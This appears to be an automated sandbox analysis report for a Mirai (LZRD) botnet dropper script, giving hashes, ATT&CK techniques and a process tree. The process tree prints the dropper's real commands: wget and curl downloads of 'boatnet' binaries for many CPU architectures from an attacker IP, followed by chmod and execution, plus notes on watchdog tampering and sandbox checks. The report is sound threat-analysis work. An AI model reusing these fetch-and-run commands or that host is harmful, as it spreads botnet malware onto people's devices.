mirai | 938aa70dc932c5e04d7b26226591bfa9c18180421958613bac79c72fbcd3145c

Analysis

max time kernel
148s
max time network
156s
platform
debian-9_armhf
resource
debian9-armhf-20240611-en
resource tags

arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
31-12-2024 02:41

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General

Target

938aa70dc932c5e04d7b26226591bfa9c18180421958613bac79c72fbcd3145c.sh
Size

2KB
MD5

7e24e03c8d6c1bafbc85a32aa065853f
SHA1

1399f7b9e79afa7fb910eb61f8e7d10b36c64310
SHA256

938aa70dc932c5e04d7b26226591bfa9c18180421958613bac79c72fbcd3145c
SHA512

0975c2aaae90e309467a37d38bdb48790c56c7efdfe9ad82a69c93d8cd2d25f4eee4e741222b1d455e04913e69380d52f81efe6c1b025e9ef1fd872a0fcac521

Score

10^/10

mirai lzrd antivm botnet defense_evasion discovery upx

Malware Config

Extracted

Family

mirai

Botnet

LZRD

Extracted

Family

mirai

Botnet

LZRD

Extracted

Family

mirai

Botnet

LZRD

Signatures

Mirai
Mirai is a prevalent Linux malware infecting exposed network devices.
botnet mirai
Mirai family
mirai

File and Directory Permissions Modification 1 TTPs 15 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
697	chmod
722	chmod
759	chmod
852	chmod
778	chmod
798	chmod
814	chmod
846	chmod
742	chmod
834	chmod
840	chmod
690	chmod
765	chmod
819	chmod
824	chmod

Executes dropped EXE 15 IoCs

ioc	pid	Process
/tmp/WTF	691	WTF
/tmp/WTF	698	WTF
/tmp/WTF	724	WTF
/tmp/WTF	743	WTF
/tmp/WTF	760	WTF
/tmp/WTF	766	WTF
/tmp/WTF	780	WTF
/tmp/WTF	799	WTF
/tmp/WTF	815	WTF
/tmp/WTF	820	WTF
/tmp/WTF	825	WTF
/tmp/WTF	835	WTF
/tmp/WTF	841	WTF
/tmp/WTF	847	WTF
/tmp/WTF	853	WTF

Modifies Watchdog functionality 1 TTPs 4 IoCs

Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

defense_evasion

Impair Defenses

T1562

description	ioc	Process
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF

Writes file to system bin folder 4 IoCs

description	ioc	Process
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/fstream-1.dat	upx
behavioral2/files/fstream-4.dat	upx

Checks CPU configuration 1 TTPs 15 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/650/cmdline	WTF
File opened for reading	/proc/832/cmdline	WTF
File opened for reading	/proc/861/cmdline	WTF
File opened for reading	/proc/606/cmdline	WTF
File opened for reading	/proc/664/cmdline	WTF
File opened for reading	/proc/601/cmdline	WTF
File opened for reading	/proc/608/cmdline	WTF
File opened for reading	/proc/606/cmdline	WTF
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/826/cmdline	WTF
File opened for reading	/proc/837/cmdline	WTF
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/exe	WTF
File opened for reading	/proc/598/cmdline	WTF
File opened for reading	/proc/856/cmdline	WTF
File opened for reading	/proc/664/cmdline	WTF
File opened for reading	/proc/873/cmdline	WTF
File opened for reading	/proc/875/cmdline	WTF
File opened for reading	/proc/879/cmdline	WTF
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/603/cmdline	WTF
File opened for reading	/proc/self/exe	WTF
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/656/cmdline	WTF
File opened for reading	/proc/828/cmdline	WTF
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/869/cmdline	WTF
File opened for reading	/proc/871/cmdline	WTF
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/601/cmdline	WTF
File opened for reading	/proc/656/cmdline	WTF
File opened for reading	/proc/658/cmdline	WTF
File opened for reading	/proc/802/cmdline	WTF
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/598/cmdline	WTF
File opened for reading	/proc/603/cmdline	WTF
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/659/cmdline	WTF
File opened for reading	/proc/856/cmdline	WTF
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/658/cmdline	WTF
File opened for reading	/proc/657/cmdline	WTF
File opened for reading	/proc/867/cmdline	WTF
File opened for reading	/proc/873/cmdline	WTF
File opened for reading	/proc/608/cmdline	WTF
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/863/cmdline	WTF
File opened for reading	/proc/865/cmdline	WTF
File opened for reading	/proc/877/cmdline	WTF
File opened for reading	/proc/877/cmdline	WTF
File opened for reading	/proc/881/cmdline	WTF
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/861/cmdline	WTF
File opened for reading	/proc/800/cmdline	WTF
File opened for reading	/proc/869/cmdline	WTF
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/650/cmdline	WTF

System Network Configuration Discovery 1 TTPs 3 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
693	wget
695	curl
696	cat

Writes file to tmp directory 28 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/boatnet.arm6	wget
File opened for modification	/tmp/boatnet.spc	curl
File opened for modification	/tmp/boatnet.arm	curl
File opened for modification	/tmp/boatnet.arm5	wget
File opened for modification	/tmp/boatnet.arm5	curl
File opened for modification	/tmp/boatnet.mips	curl
File opened for modification	/tmp/boatnet.arc	wget
File opened for modification	/tmp/boatnet.arc	curl
File opened for modification	/tmp/boatnet.arm7	curl
File opened for modification	/tmp/boatnet.arm6	curl
File opened for modification	/tmp/boatnet.ppc	curl
File opened for modification	/tmp/boatnet.m68k	wget
File opened for modification	/tmp/boatnet.m68k	curl
File opened for modification	/tmp/boatnet.x86	wget
File opened for modification	/tmp/WTF	938aa70dc932c5e04d7b26226591bfa9c18180421958613bac79c72fbcd3145c.sh
File opened for modification	/tmp/boatnet.mips	wget
File opened for modification	/tmp/boatnet.ppc	wget
File opened for modification	/tmp/boatnet.x86	curl
File opened for modification	/tmp/boatnet.i468	curl
File opened for modification	/tmp/boatnet.arm	wget
File opened for modification	/tmp/boatnet.mpsl	curl
File opened for modification	/tmp/boatnet.sh4	wget
File opened for modification	/tmp/boatnet.arm7	wget
File opened for modification	/tmp/boatnet.i686	curl
File opened for modification	/tmp/boatnet.x86_64	curl
File opened for modification	/tmp/boatnet.mpsl	wget
File opened for modification	/tmp/boatnet.spc	wget
File opened for modification	/tmp/boatnet.sh4	curl

/tmp/938aa70dc932c5e04d7b26226591bfa9c18180421958613bac79c72fbcd3145c.sh
/tmp/938aa70dc932c5e04d7b26226591bfa9c18180421958613bac79c72fbcd3145c.sh
1⤵
- Writes file to tmp directory
PID:659
- /usr/bin/wget
  wget http://154.216.17.216/hiddenbin/boatnet.x86
  2⤵
  - Writes file to tmp directory
  PID:662
- /usr/bin/curl
  curl -O http://154.216.17.216/hiddenbin/boatnet.x86
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:680
- /bin/cat
  cat boatnet.x86
  2⤵
  PID:689
- /bin/chmod
  chmod +x 938aa70dc932c5e04d7b26226591bfa9c18180421958613bac79c72fbcd3145c.sh boatnet.x86 systemd-private-8d7ee401a9394427ac9c349829b4f8d7-systemd-timedated.service-FD6crA WTF
  2⤵
  - File and Directory Permissions Modification
  PID:690
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  PID:691
- /usr/bin/wget
  wget http://154.216.17.216/hiddenbin/boatnet.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:693
- /usr/bin/curl
  curl -O http://154.216.17.216/hiddenbin/boatnet.mips
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:695
- /bin/cat
  cat boatnet.mips
  2⤵
  - System Network Configuration Discovery
  PID:696
- /bin/chmod
  chmod +x 938aa70dc932c5e04d7b26226591bfa9c18180421958613bac79c72fbcd3145c.sh boatnet.mips boatnet.x86 systemd-private-8d7ee401a9394427ac9c349829b4f8d7-systemd-timedated.service-FD6crA WTF
  2⤵
  - File and Directory Permissions Modification
  PID:697
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  PID:698
- /usr/bin/wget
  wget http://154.216.17.216/hiddenbin/boatnet.arc
  2⤵
  - Writes file to tmp directory
  PID:701
- /usr/bin/curl
  curl -O http://154.216.17.216/hiddenbin/boatnet.arc
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:711
- /bin/cat
  cat boatnet.arc
  2⤵
  PID:721
- /bin/chmod
  chmod +x 938aa70dc932c5e04d7b26226591bfa9c18180421958613bac79c72fbcd3145c.sh boatnet.arc boatnet.mips boatnet.x86 systemd-private-8d7ee401a9394427ac9c349829b4f8d7-systemd-timedated.service-FD6crA WTF
  2⤵
  - File and Directory Permissions Modification
  PID:722
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  PID:724
- /usr/bin/wget
  wget http://154.216.17.216/hiddenbin/boatnet.i468
  2⤵
  PID:727
- /usr/bin/curl
  curl -O http://154.216.17.216/hiddenbin/boatnet.i468
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:733
- /bin/cat
  cat boatnet.i468
  2⤵
  PID:740
- /bin/chmod
  chmod +x 938aa70dc932c5e04d7b26226591bfa9c18180421958613bac79c72fbcd3145c.sh boatnet.arc boatnet.i468 boatnet.mips boatnet.x86 systemd-private-8d7ee401a9394427ac9c349829b4f8d7-systemd-timedated.service-FD6crA WTF
  2⤵
  - File and Directory Permissions Modification
  PID:742
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  PID:743
- /usr/bin/wget
  wget http://154.216.17.216/hiddenbin/boatnet.i686
  2⤵
  PID:744
- /usr/bin/curl
  curl -O http://154.216.17.216/hiddenbin/boatnet.i686
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:752
- /bin/cat
  cat boatnet.i686
  2⤵
  PID:757
- /bin/chmod
  chmod +x 938aa70dc932c5e04d7b26226591bfa9c18180421958613bac79c72fbcd3145c.sh boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 systemd-private-8d7ee401a9394427ac9c349829b4f8d7-systemd-timedated.service-FD6crA WTF
  2⤵
  - File and Directory Permissions Modification
  PID:759
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  PID:760
- /usr/bin/wget
  wget http://154.216.17.216/hiddenbin/boatnet.x86_64
  2⤵
  PID:761
- /usr/bin/curl
  curl -O http://154.216.17.216/hiddenbin/boatnet.x86_64
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:763
- /bin/cat
  cat boatnet.x86_64
  2⤵
  PID:764
- /bin/chmod
  chmod +x 938aa70dc932c5e04d7b26226591bfa9c18180421958613bac79c72fbcd3145c.sh boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 boatnet.x86_64 systemd-private-8d7ee401a9394427ac9c349829b4f8d7-systemd-timedated.service-FD6crA WTF
  2⤵
  - File and Directory Permissions Modification
  PID:765
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  PID:766
- /usr/bin/wget
  wget http://154.216.17.216/hiddenbin/boatnet.mpsl
  2⤵
  - Writes file to tmp directory
  PID:767
- /usr/bin/curl
  curl -O http://154.216.17.216/hiddenbin/boatnet.mpsl
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:768
- /bin/cat
  cat boatnet.mpsl
  2⤵
  PID:777
- /bin/chmod
  chmod +x 938aa70dc932c5e04d7b26226591bfa9c18180421958613bac79c72fbcd3145c.sh boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 systemd-private-8d7ee401a9394427ac9c349829b4f8d7-systemd-timedated.service-FD6crA WTF
  2⤵
  - File and Directory Permissions Modification
  PID:778
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  PID:780
- /usr/bin/wget
  wget http://154.216.17.216/hiddenbin/boatnet.arm
  2⤵
  - Writes file to tmp directory
  PID:783
- /usr/bin/curl
  curl -O http://154.216.17.216/hiddenbin/boatnet.arm
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:789
- /bin/cat
  cat boatnet.arm
  2⤵
  PID:796
- /bin/chmod
  chmod +x 938aa70dc932c5e04d7b26226591bfa9c18180421958613bac79c72fbcd3145c.sh boatnet.arc boatnet.arm boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 systemd-private-8d7ee401a9394427ac9c349829b4f8d7-systemd-timedated.service-FD6crA WTF
  2⤵
  - File and Directory Permissions Modification
  PID:798
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:799
- /usr/bin/wget
  wget http://154.216.17.216/hiddenbin/boatnet.arm5
  2⤵
  - Writes file to tmp directory
  PID:803
- /usr/bin/curl
  curl -O http://154.216.17.216/hiddenbin/boatnet.arm5
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:810
- /bin/cat
  cat boatnet.arm5
  2⤵
  PID:813
- /bin/chmod
  chmod +x 938aa70dc932c5e04d7b26226591bfa9c18180421958613bac79c72fbcd3145c.sh boatnet.arc boatnet.arm boatnet.arm5 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 systemd-private-8d7ee401a9394427ac9c349829b4f8d7-systemd-timedated.service-FD6crA WTF
  2⤵
  - File and Directory Permissions Modification
  PID:814
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  PID:815
- /usr/bin/wget
  wget http://154.216.17.216/hiddenbin/boatnet.arm6
  2⤵
  - Writes file to tmp directory
  PID:816
- /usr/bin/curl
  curl -O http://154.216.17.216/hiddenbin/boatnet.arm6
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:817
- /bin/cat
  cat boatnet.arm6
  2⤵
  PID:818
- /bin/chmod
  chmod +x 938aa70dc932c5e04d7b26226591bfa9c18180421958613bac79c72fbcd3145c.sh boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 systemd-private-8d7ee401a9394427ac9c349829b4f8d7-systemd-timedated.service-FD6crA WTF
  2⤵
  - File and Directory Permissions Modification
  PID:819
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  PID:820
- /usr/bin/wget
  wget http://154.216.17.216/hiddenbin/boatnet.arm7
  2⤵
  - Writes file to tmp directory
  PID:821
- /usr/bin/curl
  curl -O http://154.216.17.216/hiddenbin/boatnet.arm7
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:822
- /bin/cat
  cat boatnet.arm7
  2⤵
  PID:823
- /bin/chmod
  chmod +x 938aa70dc932c5e04d7b26226591bfa9c18180421958613bac79c72fbcd3145c.sh boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 systemd-private-8d7ee401a9394427ac9c349829b4f8d7-systemd-timedated.service-FD6crA WTF
  2⤵
  - File and Directory Permissions Modification
  PID:824
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:825
- /usr/bin/wget
  wget http://154.216.17.216/hiddenbin/boatnet.ppc
  2⤵
  - Writes file to tmp directory
  PID:829
- /usr/bin/curl
  curl -O http://154.216.17.216/hiddenbin/boatnet.ppc
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:830
- /bin/cat
  cat boatnet.ppc
  2⤵
  PID:833
- /bin/chmod
  chmod +x 938aa70dc932c5e04d7b26226591bfa9c18180421958613bac79c72fbcd3145c.sh boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.ppc boatnet.x86 boatnet.x86_64 systemd-private-8d7ee401a9394427ac9c349829b4f8d7-systemd-timedated.service-FD6crA WTF
  2⤵
  - File and Directory Permissions Modification
  PID:834
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  PID:835
- /usr/bin/wget
  wget http://154.216.17.216/hiddenbin/boatnet.spc
  2⤵
  - Writes file to tmp directory
  PID:837
- /usr/bin/curl
  curl -O http://154.216.17.216/hiddenbin/boatnet.spc
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:838
- /bin/cat
  cat boatnet.spc
  2⤵
  PID:839
- /bin/chmod
  chmod +x 938aa70dc932c5e04d7b26226591bfa9c18180421958613bac79c72fbcd3145c.sh boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.ppc boatnet.spc boatnet.x86 boatnet.x86_64 systemd-private-8d7ee401a9394427ac9c349829b4f8d7-systemd-timedated.service-FD6crA WTF
  2⤵
  - File and Directory Permissions Modification
  PID:840
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  PID:841
- /usr/bin/wget
  wget http://154.216.17.216/hiddenbin/boatnet.m68k
  2⤵
  - Writes file to tmp directory
  PID:843
- /usr/bin/curl
  curl -O http://154.216.17.216/hiddenbin/boatnet.m68k
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:844
- /bin/cat
  cat boatnet.m68k
  2⤵
  PID:845
- /bin/chmod
  chmod +x 938aa70dc932c5e04d7b26226591bfa9c18180421958613bac79c72fbcd3145c.sh boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.m68k boatnet.mips boatnet.mpsl boatnet.ppc boatnet.spc boatnet.x86 boatnet.x86_64 systemd-private-8d7ee401a9394427ac9c349829b4f8d7-systemd-timedated.service-FD6crA WTF
  2⤵
  - File and Directory Permissions Modification
  PID:846
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  PID:847
- /usr/bin/wget
  wget http://154.216.17.216/hiddenbin/boatnet.sh4
  2⤵
  - Writes file to tmp directory
  PID:849
- /usr/bin/curl
  curl -O http://154.216.17.216/hiddenbin/boatnet.sh4
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:850
- /bin/cat
  cat boatnet.sh4
  2⤵
  PID:851
- /bin/chmod
  chmod +x 938aa70dc932c5e04d7b26226591bfa9c18180421958613bac79c72fbcd3145c.sh boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.m68k boatnet.mips boatnet.mpsl boatnet.ppc boatnet.sh4 boatnet.spc boatnet.x86 boatnet.x86_64 systemd-private-8d7ee401a9394427ac9c349829b4f8d7-systemd-timedated.service-FD6crA WTF
  2⤵
  - File and Directory Permissions Modification
  PID:852
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  PID:853

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Impair Defenses

T1562

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

System Network Configuration Discovery

T1016

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

/tmp/WTF

Filesize
30KB

MD5
ba61381aa2f02065a84b093bedb7ff7b

SHA1
a4277e46a6ce63cef670171f3c06bb8783530d09

SHA256
00a683af920363be18187b06f45ef5dd1d3e7b3a451155a97e2de295e8740269

SHA512
3c452ae4956b64521b7dceac3542deb5bf957191eed011d8a7126610d9b2b280412db48b71abbc67b36c46bc8d0863f76b2d8ab74cfd000c5c6544f66b158f79

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/tmp/WTF

Filesize
105KB

MD5
2883fa905bbd5524a0d527458865bc0b

SHA1
cb1b6ac390a4389be4721926ffc9f4745ba178fd

SHA256
9dc40ad9618e9ef5a0a85871ae9c8ff495c66feb0512b63327d5bd0d2c60e6b3

SHA512
cc8a51f0c16751595b212a63d1228d9baccb814ec5093b3d3a700cd45ea48043ec9d9e96c64327935e0400e08bd32cc6265d797e5a544c655fc7d7389dcb6172

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/tmp/WTF

Filesize
220B

MD5
f1c24d9fa40a047ae22d2d3ae7dfeac9

SHA1
750274b02d5f5b00026a4f55b020f4285c693533

SHA256
219db693bfc6306868548b227030b636aaba7e2b2ad0582a8977ecef92d674bc

SHA512
36bd34e999eb4426823cadcf27076cf1128470e340172336ac3e3bdf3f194d0c873684f67b8d341df85eeb955e3c9dc3657ad7c5f05525e5c254476605d5b259

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/tmp/WTF

Filesize
220B

MD5
a8f502a6fb3b7b940e922c951d9e493a

SHA1
fa94d6dade6bb7537ee3f58f2984b80f4b02dcdf

SHA256
748429c25463cc890809a866bfe2cb313f072be73bf5ea88fb4f65e26aa97bec

SHA512
e4ada74640d3ad58a6181ab1cd05fadd584788806908b00cf80924a19f29118a17f581d72d9abf1aa207f83d1e4ab163ea6c0c1e0ee6f2e211d1e0d366a27338

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/tmp/WTF

Filesize
71KB

MD5
cfa4015b7d06cacea0dd56d6cbc540e6

SHA1
5bd539a214d54dc93a7086a525ad3837c523ebc8

SHA256
cfe2633c1e807c816ee2cf39b9a1be91465af314078771f83174eccbffdfed69

SHA512
5336ce61fa34edefca3ea7046649bec05fe0547959bde3a95fa33f439c9498be227896efaa44157bdf2243f2a97d0f288c6e5a863e4109cbef9feae1057f2b6a

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/tmp/boatnet.x86

Filesize
27KB

MD5
b9946dfcdc347f2081666e3502b3e0c1

SHA1
6de9dc290b4764fc14d38a581f15f995272d1760

SHA256
4ff8dbffec454937c38216cdf4824b9f78c704fdf5a965722a4fcffc4c034cd4

SHA512
9837bca34f760fdd434f79c666f34ec673ccd93b99541008da4648deda56974525da8a421e4f7a9569b5b33302006267d852a37eba35c86627d034c521298d32

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Analysis

Sharing

General

Malware Config

Extracted

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads